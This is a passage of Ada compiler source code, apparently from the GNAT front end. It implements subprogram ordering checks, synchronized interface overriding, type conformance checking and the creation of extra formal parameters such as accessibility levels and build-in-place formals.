S2; -- If non-numeric parts equal, compare suffixed numeric parts. Note -- that a missing suffix is treated as numeric zero in this test. else N1 := 0; while L1 < S1'Last loop L1 := L1 + 1; N1 := N1 * 10 + Character'Pos (S1 (L1)) - Character'Pos ('0'); end loop; N2 := 0; while L2 < S2'Last loop L2 := L2 + 1; N2 := N2 * 10 + Character'Pos (S2 (L2)) - Character'Pos ('0'); end loop; return N1 > N2; end if; end Subprogram_Name_Greater; -- Start of processing for Check_Subprogram_Order begin -- Check body in alpha order if this is option if Style_Check and then Style_Check_Order_Subprograms and then Nkind (N) = N_Subprogram_Body and then Comes_From_Source (N) and then In_Extended_Main_Source_Unit (N) then declare LSN : String_Ptr renames Scope_Stack.Table (Scope_Stack.Last).Last_Subprogram_Name; Body_Id : constant Entity_Id := Defining_Entity (Specification (N)); begin Get_Decoded_Name_String (Chars (Body_Id)); if LSN /= null then if Subprogram_Name_Greater (LSN.all, Name_Buffer (1 .. Name_Len)) then Style.Subprogram_Not_In_Alpha_Order (Body_Id); end if; Free (LSN); end if; LSN := new String'(Name_Buffer (1 .. Name_Len)); end; end if; end Check_Subprogram_Order; ------------------------------ -- Check_Subtype_Conformant -- ------------------------------ procedure Check_Subtype_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id := Empty; Skip_Controlling_Formals : Boolean := False; Get_Inst : Boolean := False) is Result : Boolean; pragma Warnings (Off, Result); begin Check_Conformance (New_Id, Old_Id, Subtype_Conformant, True, Result, Err_Loc, Skip_Controlling_Formals => Skip_Controlling_Formals, Get_Inst => Get_Inst); end Check_Subtype_Conformant; ----------------------------------- -- Check_Synchronized_Overriding -- ----------------------------------- procedure Check_Synchronized_Overriding (Def_Id : Entity_Id; Overridden_Subp : out Entity_Id) is Ifaces_List : Elist_Id; In_Scope : Boolean; Typ : Entity_Id; function Is_Valid_Formal (F : Entity_Id) return Boolean; -- Predicate for legality rule in 9.4 (11.9/2): If an inherited -- subprogram is implemented by a protected procedure or entry, -- its first parameter must be out, in out, or access-to-variable. function Matches_Prefixed_View_Profile (Prim_Params : List_Id; Iface_Params : List_Id) return Boolean; -- Determine whether a subprogram's parameter profile Prim_Params -- matches that of a potentially overridden interface subprogram -- Iface_Params. Also determine if the type of first parameter of -- Iface_Params is an implemented interface. ---------------------- -- Is_Valid_Formal -- ---------------------- function Is_Valid_Formal (F : Entity_Id) return Boolean is begin return Ekind (F) in E_In_Out_Parameter | E_Out_Parameter or else (Nkind (Parameter_Type (Parent (F))) = N_Access_Definition and then not Constant_Present (Parameter_Type (Parent (F)))); end Is_Valid_Formal; ----------------------------------- -- Matches_Prefixed_View_Profile -- ----------------------------------- function Matches_Prefixed_View_Profile (Prim_Params : List_Id; Iface_Params : List_Id) return Boolean is function Is_Implemented (Ifaces_List : Elist_Id; Iface : Entity_Id) return Boolean; -- Determine if Iface is implemented by the current task or -- protected type. -------------------- -- Is_Implemented -- -------------------- function Is_Implemented (Ifaces_List : Elist_Id; Iface : Entity_Id) return Boolean is Iface_Elmt : Elmt_Id; begin Iface_Elmt := First_Elmt (Ifaces_List); while Present (Iface_Elmt) loop if Node (Iface_Elmt) = Iface then return True; end if; Next_Elmt (Iface_Elmt); end loop; return False; end Is_Implemented; -- Local variables Iface_Id : Entity_Id; Iface_Param : Node_Id; Iface_Typ : Entity_Id; Prim_Id : Entity_Id; Prim_Param : Node_Id; Prim_Typ : Entity_Id; -- Start of processing for Matches_Prefixed_View_Profile begin Iface_Param := First (Iface_Params); Iface_Typ := Etype (Defining_Identifier (Iface_Param)); if Is_Access_Type (Iface_Typ) then Iface_Typ := Designated_Type (Iface_Typ); end if; Prim_Param := First (Prim_Params); -- The first parameter of the potentially overridden subprogram must -- be an interface implemented by Prim. if not Is_Interface (Iface_Typ) or else not Is_Implemented (Ifaces_List, Iface_Typ) then return False; end if; -- The checks on the object parameters are done, so move on to the -- rest of the parameters. if not In_Scope then Next (Prim_Param); end if; Next (Iface_Param); while Present (Iface_Param) and then Present (Prim_Param) loop Iface_Id := Defining_Identifier (Iface_Param); Iface_Typ := Find_Parameter_Type (Iface_Param); Prim_Id := Defining_Identifier (Prim_Param); Prim_Typ := Find_Parameter_Type (Prim_Param); if Ekind (Iface_Typ) = E_Anonymous_Access_Type and then Ekind (Prim_Typ) = E_Anonymous_Access_Type and then Is_Concurrent_Type (Designated_Type (Prim_Typ)) then Iface_Typ := Designated_Type (Iface_Typ); Prim_Typ := Designated_Type (Prim_Typ); end if; -- Case of multiple interface types inside a parameter profile -- (Obj_Param : in out Iface; ...; Param : Iface) -- If the interface type is implemented, then the matching type in -- the primitive should be the implementing record type. if Ekind (Iface_Typ) = E_Record_Type and then Is_Interface (Iface_Typ) and then Is_Implemented (Ifaces_List, Iface_Typ) then if Prim_Typ /= Typ then return False; end if; -- The two parameters must be both mode and subtype conformant elsif Ekind (Iface_Id) /= Ekind (Prim_Id) or else not Conforming_Types (Iface_Typ, Prim_Typ, Subtype_Conformant) then return False; end if; Next (Iface_Param); Next (Prim_Param); end loop; -- One of the two lists contains more parameters than the other if Present (Iface_Param) or else Present (Prim_Param) then return False; end if; return True; end Matches_Prefixed_View_Profile; -- Start of processing for Check_Synchronized_Overriding begin Overridden_Subp := Empty; -- Def_Id must be an entry or a subprogram. We should skip predefined -- primitives internally generated by the front end; however at this -- stage predefined primitives are still not fully decorated. As a -- minor optimization we skip here internally generated subprograms. if (Ekind (Def_Id) /= E_Entry and then Ekind (Def_Id) /= E_Function and then Ekind (Def_Id) /= E_Procedure) or else not Comes_From_Source (Def_Id) then return; end if; -- Search for the concurrent declaration since it contains the list of -- all implemented interfaces. In this case, the subprogram is declared -- within the scope of a protected or a task type. if Present (Scope (Def_Id)) and then Is_Concurrent_Type (Scope (Def_Id)) and then not Is_Generic_Actual_Type (Scope (Def_Id)) then Typ := Scope (Def_Id); In_Scope := True; -- The enclosing scope is not a synchronized type and the subprogram -- has no formals. elsif No (First_Formal (Def_Id)) then return; -- The subprogram has formals and hence it may be a primitive of a -- concurrent type. else Typ := Etype (First_Formal (Def_Id)); if Is_Access_Type (Typ) then Typ := Directly_Designated_Type (Typ); end if; if Is_Concurrent_Type (Typ) and then not Is_Generic_Actual_Type (Typ) then In_Scope := False; -- This case occurs when the concurrent type is declared within a -- generic unit. As a result the corresponding record has been built -- and used as the type of the first formal, we just have to retrieve -- the corresponding concurrent type. elsif Is_Concurrent_Record_Type (Typ) and then not Is_Class_Wide_Type (Typ) and then Present (Corresponding_Concurrent_Type (Typ)) then Typ := Corresponding_Concurrent_Type (Typ); In_Scope := False; else return; end if; end if; -- There is no overriding to check if this is an inherited operation in -- a type derivation for a generic actual. Collect_Interfaces (Typ, Ifaces_List); if Is_Empty_Elmt_List (Ifaces_List) then return; end if; -- Determine whether entry or subprogram Def_Id overrides a primitive -- operation that belongs to one of the interfaces in Ifaces_List. declare Candidate : Entity_Id := Empty; Hom : Entity_Id := Empty; Subp : Entity_Id := Empty; begin -- Traverse the homonym chain, looking for a potentially overridden -- subprogram that belongs to an implemented interface. Hom := Current_Entity_In_Scope (Def_Id); while Present (Hom) loop Subp := Hom; if Subp = Def_Id or else not Is_Overloadable (Subp) or else not Is_Primitive (Subp) or else not Is_Dispatching_Operation (Subp) or else not Present (Find_Dispatching_Type (Subp)) or else not Is_Interface (Find_Dispatching_Type (Subp)) then null; -- Entries and procedures can override abstract or null interface -- procedures. elsif Ekind (Def_Id) in E_Entry | E_Procedure and then Ekind (Subp) = E_Procedure and then Matches_Prefixed_View_Profile (Parameter_Specifications (Parent (Def_Id)), Parameter_Specifications (Parent (Subp))) then Candidate := Subp; -- For an overridden subprogram Subp, check whether the mode -- of its first parameter is correct depending on the kind of -- synchronized type. declare Formal : constant Node_Id := First_Formal (Candidate); begin -- In order for an entry or a protected procedure to -- override, the first parameter of the overridden routine -- must be of mode "out", "in out", or access-to-variable. if Ekind (Candidate) in E_Entry | E_Procedure and then Is_Protected_Type (Typ) and then not Is_Valid_Formal (Formal) then null; -- All other cases are OK since a task entry or routine does -- not have a restriction on the mode of the first parameter -- of the overridden interface routine. else Overridden_Subp := Candidate; return; end if; end; -- Functions can override abstract interface functions. Return -- types must be subtype conformant. elsif Ekind (Def_Id) = E_Function and then Ekind (Subp) = E_Function and then Matches_Prefixed_View_Profile (Parameter_Specifications (Parent (Def_Id)), Parameter_Specifications (Parent (Subp))) and then Conforming_Types (Etype (Def_Id), Etype (Subp), Subtype_Conformant) then Candidate := Subp; -- If an inherited subprogram is implemented by a protected -- function, then the first parameter of the inherited -- subprogram shall be of mode in, but not an access-to- -- variable parameter (RM 9.4(11/9)). if Present (First_Formal (Subp)) and then Ekind (First_Formal (Subp)) = E_In_Parameter and then (not Is_Access_Type (Etype (First_Formal (Subp))) or else Is_Access_Constant (Etype (First_Formal (Subp)))) then Overridden_Subp := Subp; return; end if; end if; Hom := Homonym (Hom); end loop; -- After examining all candidates for overriding, we are left with -- the best match, which is a mode-incompatible interface routine. if In_Scope and then Present (Candidate) then Error_Msg_PT (Def_Id, Candidate); end if; Overridden_Subp := Candidate; return; end; end Check_Synchronized_Overriding; --------------------------- -- Check_Type_Conformant -- --------------------------- procedure Check_Type_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Err_Loc : Node_Id := Empty) is Result : Boolean; pragma Warnings (Off, Result); begin Check_Conformance (New_Id, Old_Id, Type_Conformant, True, Result, Err_Loc); end Check_Type_Conformant; --------------------------- -- Can_Override_Operator -- --------------------------- function Can_Override_Operator (Subp : Entity_Id) return Boolean is Typ : Entity_Id; begin -- Return False if not an operator. We test the name rather than testing -- that the Nkind is N_Defining_Operator_Symbol, because there are cases -- where an operator entity can be an N_Defining_Identifier (such as for -- function instantiations). if Chars (Subp) not in Any_Operator_Name then return False; else Typ := Base_Type (Etype (First_Formal (Subp))); -- Check explicitly that the operation is a primitive of the type return Operator_Matches_Spec (Subp, Subp) and then not Is_Generic_Type (Typ) and then Scope (Subp) = Scope (Typ) and then not Is_Class_Wide_Type (Typ); end if; end Can_Override_Operator; ---------------------- -- Conforming_Types -- ---------------------- function Conforming_Types (T1 : Entity_Id; T2 : Entity_Id; Ctype : Conformance_Type; Get_Inst : Boolean := False) return Boolean is function Base_Types_Match (Typ_1 : Entity_Id; Typ_2 : Entity_Id) return Boolean; -- If neither Typ_1 nor Typ_2 are generic actual types, or if they are -- in different scopes (e.g. parent and child instances), then verify -- that the base types are equal. Otherwise Typ_1 and Typ_2 must be on -- the same subtype chain. The whole purpose of this procedure is to -- prevent spurious ambiguities in an instantiation that may arise if -- two distinct generic types are instantiated with the same actual. function Find_Designated_Type (Typ : Entity_Id) return Entity_Id; -- An access parameter can designate an incomplete type. If the -- incomplete type is the limited view of a type from a limited_ -- with_clause, check whether the non-limited view is available. -- If it is a (non-limited) incomplete type, get the full view. function Matches_Limited_With_View (Typ_1 : Entity_Id; Typ_2 : Entity_Id) return Boolean; -- Returns True if and only if either Typ_1 denotes a limited view of -- Typ_2 or Typ_2 denotes a limited view of Typ_1. This can arise when -- the limited with view of a type is used in a subprogram declaration -- and the subprogram body is in the scope of a regular with clause for -- the same unit. In such a case, the two type entities are considered -- identical for purposes of conformance checking. ---------------------- -- Base_Types_Match -- ---------------------- function Base_Types_Match (Typ_1 : Entity_Id; Typ_2 : Entity_Id) return Boolean is Base_1 : constant Entity_Id := Base_Type (Typ_1); Base_2 : constant Entity_Id := Base_Type (Typ_2); begin if Typ_1 = Typ_2 then return True; elsif Base_1 = Base_2 then -- The following is too permissive. A more precise test should -- check that the generic actual is an ancestor subtype of the -- other ???. -- See code in Find_Corresponding_Spec that applies an additional -- filter to handle accidental amiguities in instances. return not Is_Generic_Actual_Type (Typ_1) or else not Is_Generic_Actual_Type (Typ_2) or else Scope (Typ_1) /= Scope (Typ_2); -- If Typ_2 is a generic actual type it is declared as the subtype of -- the actual. If that actual is itself a subtype we need to use its -- own base type to check for compatibility. elsif Ekind (Base_2) = Ekind (Typ_2) and then Base_1 = Base_Type (Base_2) then return True; elsif Ekind (Base_1) = Ekind (Typ_1) and then Base_2 = Base_Type (Base_1) then return True; else return False; end if; end Base_Types_Match; -------------------------- -- Find_Designated_Type -- -------------------------- function Find_Designated_Type (Typ : Entity_Id) return Entity_Id is Desig : Entity_Id; begin Desig := Directly_Designated_Type (Typ); if Ekind (Desig) = E_Incomplete_Type then -- If regular incomplete type, get full view if available if Present (Full_View (Desig)) then Desig := Full_View (Desig); -- If limited view of a type, get non-limited view if available, -- and check again for a regular incomplete type. elsif Present (Non_Limited_View (Desig)) then Desig := Get_Full_View (Non_Limited_View (Desig)); end if; end if; return Desig; end Find_Designated_Type; ------------------------------- -- Matches_Limited_With_View -- ------------------------------- function Matches_Limited_With_View (Typ_1 : Entity_Id; Typ_2 : Entity_Id) return Boolean is function Is_Matching_Limited_View (Typ : Entity_Id; View : Entity_Id) return Boolean; -- Determine whether non-limited view View denotes type Typ in some -- conformant fashion. ------------------------------ -- Is_Matching_Limited_View -- ------------------------------ function Is_Matching_Limited_View (Typ : Entity_Id; View : Entity_Id) return Boolean is Root_Typ : Entity_Id; Root_View : Entity_Id; begin -- The non-limited view directly denotes the type if Typ = View then return True; -- The type is a subtype of the non-limited view elsif Is_Subtype_Of (Typ, View) then return True; -- Both the non-limited view and the type denote class-wide types elsif Is_Class_Wide_Type (Typ) and then Is_Class_Wide_Type (View) then Root_Typ := Root_Type (Typ); Root_View := Root_Type (View); if Root_Typ = Root_View then return True; -- An incomplete tagged type and its full view may receive two -- distinct class-wide types when the related package has not -- been analyzed yet. -- package Pack is -- type T is tagged; -- CW_1 -- type T is tagged null record; -- CW_2 -- end Pack; -- This is because the package lacks any semantic information -- that may eventually link both views of T. As a consequence, -- a client of the limited view of Pack will see CW_2 while a -- client of the non-limited view of Pack will see CW_1. elsif Is_Incomplete_Type (Root_Typ) and then Present (Full_View (Root_Typ)) and then Full_View (Root_Typ) = Root_View then return True; elsif Is_Incomplete_Type (Root_View) and then Present (Full_View (Root_View)) and then Full_View (Root_View) = Root_Typ then return True; end if; end if; return False; end Is_Matching_Limited_View; -- Start of processing for Matches_Limited_With_View begin -- In some cases a type imported through a limited_with clause, and -- its non-limited view are both visible, for example in an anonymous -- access-to-class-wide type in a formal, or when building the body -- for a subprogram renaming after the subprogram has been frozen. -- In these cases both entities designate the same type. In addition, -- if one of them is an actual in an instance, it may be a subtype of -- the non-limited view of the other. if From_Limited_With (Typ_1) and then From_Limited_With (Typ_2) and then Available_View (Typ_1) = Available_View (Typ_2) then return True; elsif From_Limited_With (Typ_1) then return Is_Matching_Limited_View (Typ_2, Available_View (Typ_1)); elsif From_Limited_With (Typ_2) then return Is_Matching_Limited_View (Typ_1, Available_View (Typ_2)); else return False; end if; end Matches_Limited_With_View; -- Local variables Are_Anonymous_Access_To_Subprogram_Types : Boolean := False; Type_1 : Entity_Id := T1; Type_2 : Entity_Id := T2; -- Start of processing for Conforming_Types begin -- The context is an instance association for a formal access-to- -- subprogram type; the formal parameter types require mapping because -- they may denote other formal parameters of the generic unit. if Get_Inst then Type_1 := Get_Instance_Of (T1); Type_2 := Get_Instance_Of (T2); end if; -- If one of the types is a view of the other introduced by a limited -- with clause, treat these as conforming for all purposes. if Matches_Limited_With_View (T1, T2) then return True; elsif Base_Types_Match (Type_1, Type_2) then if Ctype <= Mode_Conformant then return True; else return Subtypes_Statically_Match (Type_1, Type_2) and then Dimensions_Match (Type_1, Type_2); end if; elsif Is_Incomplete_Or_Private_Type (Type_1) and then Present (Full_View (Type_1)) and then Base_Types_Match (Full_View (Type_1), Type_2) then return Ctype <= Mode_Conformant or else Subtypes_Statically_Match (Full_View (Type_1), Type_2); elsif Ekind (Type_2) = E_Incomplete_Type and then Present (Full_View (Type_2)) and then Base_Types_Match (Type_1, Full_View (Type_2)) then return Ctype <= Mode_Conformant or else Subtypes_Statically_Match (Type_1, Full_View (Type_2)); elsif Is_Private_Type (Type_2) and then In_Instance and then Present (Full_View (Type_2)) and then Base_Types_Match (Type_1, Full_View (Type_2)) then return Ctype <= Mode_Conformant or else Subtypes_Statically_Match (Type_1, Full_View (Type_2)); -- Another confusion between views in a nested instance with an -- actual private type whose full view is not in scope. elsif Ekind (Type_2) = E_Private_Subtype and then In_Instance and then Etype (Type_2) = Type_1 then return True; -- In Ada 2012, incomplete types (including limited views) can appear -- as actuals in instantiations, where they are conformant to the -- corresponding incomplete formal. elsif Is_Incomplete_Type (Type_1) and then Is_Incomplete_Type (Type_2) and then In_Instance and then (Used_As_Generic_Actual (Type_1) or else Used_As_Generic_Actual (Type_2)) then return True; end if; -- Ada 2005 (AI-254): Anonymous access-to-subprogram types must be -- treated recursively because they carry a signature. As far as -- conformance is concerned, convention plays no role, and either -- or both could be access to protected subprograms. Are_Anonymous_Access_To_Subprogram_Types := Ekind (Type_1) in E_Anonymous_Access_Subprogram_Type | E_Anonymous_Access_Protected_Subprogram_Type and then Ekind (Type_2) in E_Anonymous_Access_Subprogram_Type | E_Anonymous_Access_Protected_Subprogram_Type; -- Test anonymous access type case. For this case, static subtype -- matching is required for mode conformance (RM 6.3.1(15)). We check -- the base types because we may have built internal subtype entities -- to handle null-excluding types (see Process_Formals). if (Ekind (Base_Type (Type_1)) = E_Anonymous_Access_Type and then Ekind (Base_Type (Type_2)) = E_Anonymous_Access_Type) -- Ada 2005 (AI-254) or else Are_Anonymous_Access_To_Subprogram_Types then declare Desig_1 : Entity_Id; Desig_2 : Entity_Id; begin -- In Ada 2005, access constant indicators must match for -- subtype conformance. if Ada_Version >= Ada_2005 and then Ctype >= Subtype_Conformant and then Is_Access_Constant (Type_1) /= Is_Access_Constant (Type_2) then return False; end if; Desig_1 := Find_Designated_Type (Type_1); Desig_2 := Find_Designated_Type (Type_2); -- If the context is an instance association for a formal -- access-to-subprogram type; formal access parameter designated -- types require mapping because they may denote other formal -- parameters of the generic unit. if Get_Inst then Desig_1 := Get_Instance_Of (Desig_1); Desig_2 := Get_Instance_Of (Desig_2); end if; -- It is possible for a Class_Wide_Type to be introduced for an -- incomplete type, in which case there is a separate class_ wide -- type for the full view. The types conform if their Etypes -- conform, i.e. one may be the full view of the other. This can -- only happen in the context of an access parameter, other uses -- of an incomplete Class_Wide_Type are illegal. if Is_Class_Wide_Type (Desig_1) and then Is_Class_Wide_Type (Desig_2) then return Conforming_Types (Etype (Base_Type (Desig_1)), Etype (Base_Type (Desig_2)), Ctype); elsif Are_Anonymous_Access_To_Subprogram_Types then if Ada_Version < Ada_2005 then return Ctype = Type_Conformant or else Subtypes_Statically_Match (Desig_1, Desig_2); -- We must check the conformance of the signatures themselves else declare Conformant : Boolean; begin Check_Conformance (Desig_1, Desig_2, Ctype, False, Conformant); return Conformant; end; end if; -- A limited view of an actual matches the corresponding -- incomplete formal. elsif Ekind (Desig_2) = E_Incomplete_Subtype and then From_Limited_With (Desig_2) and then Used_As_Generic_Actual (Etype (Desig_2)) then return True; else return Base_Type (Desig_1) = Base_Type (Desig_2) and then (Ctype = Type_Conformant or else Subtypes_Statically_Match (Desig_1, Desig_2)); end if; end; -- Otherwise definitely no match else if ((Ekind (Type_1) = E_Anonymous_Access_Type and then Is_Access_Type (Type_2)) or else (Ekind (Type_2) = E_Anonymous_Access_Type and then Is_Access_Type (Type_1))) and then Conforming_Types (Designated_Type (Type_1), Designated_Type (Type_2), Ctype) then May_Hide_Profile := True; end if; return False; end if; end Conforming_Types; -------------------------- -- Create_Extra_Formals -- -------------------------- procedure Create_Extra_Formals (E : Entity_Id) is First_Extra : Entity_Id := Empty; Formal : Entity_Id; Last_Extra : Entity_Id := Empty; function Add_Extra_Formal (Assoc_Entity : Entity_Id; Typ : Entity_Id; Scope : Entity_Id; Suffix : String) return Entity_Id; -- Add an extra formal to the current list of formals and extra formals. -- The extra formal is added to the end of the list of extra formals, -- and also returned as the result. These formals are always of mode IN. -- The new formal has the type Typ, is declared in Scope, and its name -- is given by a concatenation of the name of Assoc_Entity and Suffix. -- The following suffixes are currently used. They should not be changed -- without coordinating with CodePeer, which makes use of these to -- provide better messages. -- O denotes the Constrained bit. -- L denotes the accessibility level. -- BIP_xxx denotes an extra formal for a build-in-place function. See -- the full list in exp_ch6.BIP_Formal_Kind. ---------------------- -- Add_Extra_Formal -- ---------------------- function Add_Extra_Formal (Assoc_Entity : Entity_Id; Typ : Entity_Id; Scope : Entity_Id; Suffix : String) return Entity_Id is EF : constant Entity_Id := Make_Defining_Identifier (Sloc (Assoc_Entity), Chars => New_External_Name (Chars (Assoc_Entity), Suffix => Suffix)); begin -- A little optimization. Never generate an extra formal for the -- _init operand of an initialization procedure, since it could -- never be used. if Chars (Formal) = Name_uInit then return Empty; end if; Mutate_Ekind (EF, E_In_Parameter); Set_Actual_Subtype (EF, Typ); Set_Etype (EF, Typ); Set_Scope (EF, Scope); Set_Mechanism (EF, Default_Mechanism); Set_Formal_Validity (EF); if No (First_Extra) then First_Extra := EF; Set_Extra_Formals (Scope, EF); end if; if Present (Last_Extra) then Set_Extra_Formal (Last_Extra, EF); end if; Last_Extra := EF; return EF; end Add_Extra_Formal; -- Local variables Formal_Type : Entity_Id; P_Formal : Entity_Id := Empty; -- Start of processing for Create_Extra_Formals begin -- We never generate extra formals if expansion is not active because we -- don't need them unless we are generating code. if not Expander_Active then return; end if; -- No need to generate extra formals in interface thunks whose target -- primitive has no extra formals. if Is_Thunk (E) and then No (Extra_Formals (Thunk_Entity (E))) then return; end if; -- If this is a derived subprogram then the subtypes of the parent -- subprogram's formal parameters will be used to determine the need -- for extra formals. if Is_Overloadable (E) and then Present (Alias (E)) then P_Formal := First_Formal (Alias (E)); end if; Formal := First_Formal (E); while Present (Formal) loop Last_Extra := Formal; Next_Formal (Formal); end loop; -- If Extra_Formals were already created, don't do it again. This -- situation may arise for subprogram types created as part of -- dispatching calls (see Expand_Dispatching_Call). if Present (Last_Extra) and then Present (Extra_Formal (Last_Extra)) then return; end if; -- If the subprogram is a predefined dispatching subprogram then don't -- generate any extra constrained or accessibility level formals. In -- general we suppress these for internal subprograms (by not calling -- Freeze_Subprogram and Create_Extra_Formals at all), but internally -- generated stream attributes do get passed through because extra -- build-in-place formals are needed in some cases (limited 'Input). if Is_Predefined_Internal_Operation (E) then goto Test_For_Func_Result_Extras; end if; Formal := First_Formal (E); while Present (Formal) loop -- Create extra formal for supporting the attribute 'Constrained. -- The case of a private type view without discriminants also -- requires the extra formal if the underlying type has defaulted -- discriminants. if Ekind (Formal) /= E_In_Parameter then if Present (P_Formal) then Formal_Type := Etype (P_Formal); else Formal_Type := Etype (Formal); end if; -- Do not produce extra formals for Unchecked_Union parameters. -- Jump directly to the end of the loop. if Is_Unchecked_Union (Base_Type (Formal_Type)) then goto Skip_Extra_Formal_Generation; end if; if not Has_Discriminants (Formal_Type) and then Is_Private_Type (Formal_Type) and then Present (Underlying_Type (Formal_Type)) then Formal_Type := Underlying_Type (Formal_Type); end if; -- Suppress the extra formal if formal's subtype is constrained or -- indefinite, or we're compiling for Ada 2012 and the underlying -- type is tagged and limited. In Ada 2012, a limited tagged type -- can have defaulted discriminants, but 'Constrained is required -- to return True, so the formal is never needed (see AI05-0214). -- Note that this ensures consistency of calling sequences for -- dispatching operations when some types in a class have defaults -- on discriminants and others do not (and requiring the extra -- formal would introduce distributed overhead). -- If the type does not have a completion yet, treat as prior to -- Ada 2012 for consistency. if Has_Discriminants (Formal_Type) and then not Is_Constrained (Formal_Type) and then Is_Definite_Subtype (Formal_Type) and then (Ada_Version < Ada_2012 or else No (Underlying_Type (Formal_Type)) or else not (Is_Limited_Type (Formal_Type) and then (Is_Tagged_Type (Underlying_Type (Formal_Type))))) then Set_Extra_Constrained (Formal, Add_Extra_Formal (Formal, Standard_Boolean, E, "O")); end if; end if; -- Create extra formal for supporting accessibility checking. This -- is done for both anonymous access formals and formals of named -- access types that are marked as controlling formals. The latter -- case can occur when Expand_Dispatching_Call creates a subprogram -- type and substitutes the types of access-to-class-wide actuals -- for the anonymous access-to-specific-type of controlling formals. -- Base_Type is applied because in cases where there is a null -- exclusion the formal may have an access subtype. -- This is suppressed if we specifically suppress accessibility -- checks at the package level for either the subprogram, or the -- package in which it resides. However, we do not suppress it -- simply if the scope has accessibility checks suppressed, since -- this could cause trouble when clients are compiled with a -- different suppression setting. The explicit checks at the -- package level are safe from this point of view. if (Ekind (Base_Type (Etype (Formal))) = E_Anonymous_Access_Type or else (Is_Controlling_Formal (Formal) and then Is_Access_Type (Base_Type (Etype (Formal))))) and then not (Explicit_Suppress (E, Accessibility_Check) or else Explicit_Suppress (Scope (E), Accessibility_Check)) and then (No (P_Formal) or else Present (Extra_Accessibility (P_Formal))) then Set_Extra_Accessibility (Formal, Add_Extra_Formal (Formal, Standard_Natural, E, "L")); end if; -- This label is required when skipping extra formal generation for -- Unchecked_Union parameters. <<Skip_Extra_Formal_Generation>> if Present (P_Formal) then Next_Formal (P_Formal); end if; Next_Formal (Formal); end loop; <<Test_For_Func_Result_Extras>> -- Ada 2012 (AI05-234): "the accessibility level of the result of a -- function call is ... determined by the point of call ...". if Needs_Result_Accessibility_Level (E) then Set_Extra_Accessibility_Of_Result (E, Add_Extra_Formal (E, Standard_Natural, E, "L")); end if; -- Ada 2005 (AI-318-02): In the case of build-in-place functions, add -- appropriate extra formals. See type Exp_Ch6.BIP_Formal_Kind. if Is_Build_In_Place_Function (E) then declare Result_Subt : constant Entity_Id := Etype (E); Formal_Typ : Entity_Id; Subp_Decl : Node_Id; Discard : Entity_Id; begin -- In the case of functions with unconstrained result subtypes, -- add a 4-state formal indicating whether the return object is -- allocated by the caller (1), or should be allocated by the -- callee on the secondary stack (2), in the global heap (3), or -- in a user-defined storage pool (4). For the moment we just use -- Natural for the type of this formal. Note that this formal -- isn't usually needed in the case where the result subtype is -- constrained, but it is needed when the function has a tagged -- result, because generally such functions can be called in a -- dispatching context and such calls must be handled like calls -- to a class-wide function. if Needs_BIP_Alloc_Form (E) then Discard := Add_Extra_Formal (E, Standard_Natural, E, BIP_Formal_Suffix (BIP_Alloc_Form)); -- Add BIP_Storage_Pool, in case BIP_Alloc_Form indicates to -- use a user-defined pool. This formal is not added on -- ZFP as those targets do not support pools. if RTE_Available (RE_Root_Storage_Pool_Ptr) then Discard := Add_Extra_Formal (E, RTE (RE_Root_Storage_Pool_Ptr), E, BIP_Formal_Suffix (BIP_Storage_Pool)); end if; end if; -- In the case of functions whose result type needs finalization, -- add an extra formal which represents the finalization master. if Needs_BIP_Finalization_Master (E) then Discard := Add_Extra_Formal (E, RTE (RE_Finalization_Master_Ptr), E, BIP_Formal_Suffix (BIP_Finalization_Master)); end if; -- When the result type contains tasks, add two extra formals: the -- master of the tasks to be created, and the caller's activation -- chain. if Needs_BIP_Task_Actuals (E) then Discard := Add_Extra_Formal (E, Standard_Integer, E, BIP_Formal_Suffix (BIP_Task_Master)); Set_Has_Master_Entity (E); Discard := Add_Extra_Formal (E, RTE (RE_Activation_Chain_Access), E, BIP_Formal_Suffix (BIP_Activation_Chain)); end if; -- All build-in-place functions get an extra formal that will be -- passed the address of the return object within the caller. Formal_Typ := Create_Itype (E_Anonymous_Access_Type, E, Scope_Id => Scope (E)); -- Incomplete_View_From_Limited_With is needed here because -- gigi gets confused if the designated type is the full view -- coming from a limited-with'ed package. In the normal case, -- (no limited with) Incomplete_View_From_Limited_With -- returns Result_Subt. Set_Directly_Designated_Type (Formal_Typ, Incomplete_View_From_Limited_With (Result_Subt)); Set_Etype (Formal_Typ, Formal_Typ); Set_Depends_On_Private (Formal_Typ, Has_Private_Component (Formal_Typ)); Set_Is_Public (Formal_Typ, Is_Public (Scope (Formal_Typ))); Set_Is_Access_Constant (Formal_Typ, False); -- Ada 2005 (AI-50217): Propagate the attribute that indicates -- the designated type comes from the limited view (for back-end -- purposes). Set_From_Limited_With (Formal_Typ, From_Limited_With (Result_Subt)); Layout_Type (Formal_Typ); -- Force the definition of the Itype in case of internal function -- calls within the same or nested scope. if Is_Subprogram_Or_Generic_Subprogram (E) then Subp_Decl := Parent (E); -- The insertion point for an Itype reference should be after -- the unit declaration node of the subprogram. An exception -- to this are inherited operations from a parent type in which -- case the derived type acts as their parent. if Nkind (Subp_Decl) in N_Function_Specification | N_Procedure_Specification then Subp_Decl := Parent (Subp_Decl); end if; Build_Itype_Reference (Formal_Typ, Subp_Decl); end if; Discard := Add_Extra_Formal (E, Formal_Typ, E, BIP_Formal_Suffix (BIP_Object_Access)); end; end if; -- If this is an instance of a generic, we need to have extra formals -- for the Alias. if Is_Generic_Instance (E) and then Present (Alias (E)) then Set_Extra_Formals (Alias (E), Extra_Formals (E)); end if; end Create_Extra_Formals; ----------------------------- -- Enter_Overloaded_Entity -- ----------------------------- procedure Enter_Overloaded_Entity (S : Entity_Id) is function Matches_Predefined_Op return Boolean; -- This returns an approximation of whether S matches a predefined -- operator, based on the operator symbol, and the parameter and result -- types. The rules are scattered throughout chapter 4 of the Ada RM. --------------------------- -- Matches_Predefined_Op -- --------------------------- function Matches_Predefined_Op return Boolean is Formal_1 : constant Entity_Id := First_Formal (S); Formal_2 : constant Entity_Id := Next_Formal (Formal_1); Op : constant Name_Id := Chars (S); Result_Type : constant Entity_Id := Base_Type (Etype (S)); Type_1 : constant Entity_Id := Base_Type (Etype (Formal_1)); begin -- Binary operator if Present (Formal_2) then declare Type_2 : constant Entity_Id := Base_Type (Etype (Formal_2)); begin -- All but "&" and "**" have same-types parameters case Op is when Name_Op_Concat | Name_Op_Expon => null; when others => if Type_1 /= Type_2 then return False; end if; end case; -- Check parameter and result types case Op is when Name_Op_And | Name_Op_Or | Name_Op_Xor => return Is_Boolean_Type (Result_Type) and then Result_Type = Type_1; when Name_Op_Mod | Name_Op_Rem => return 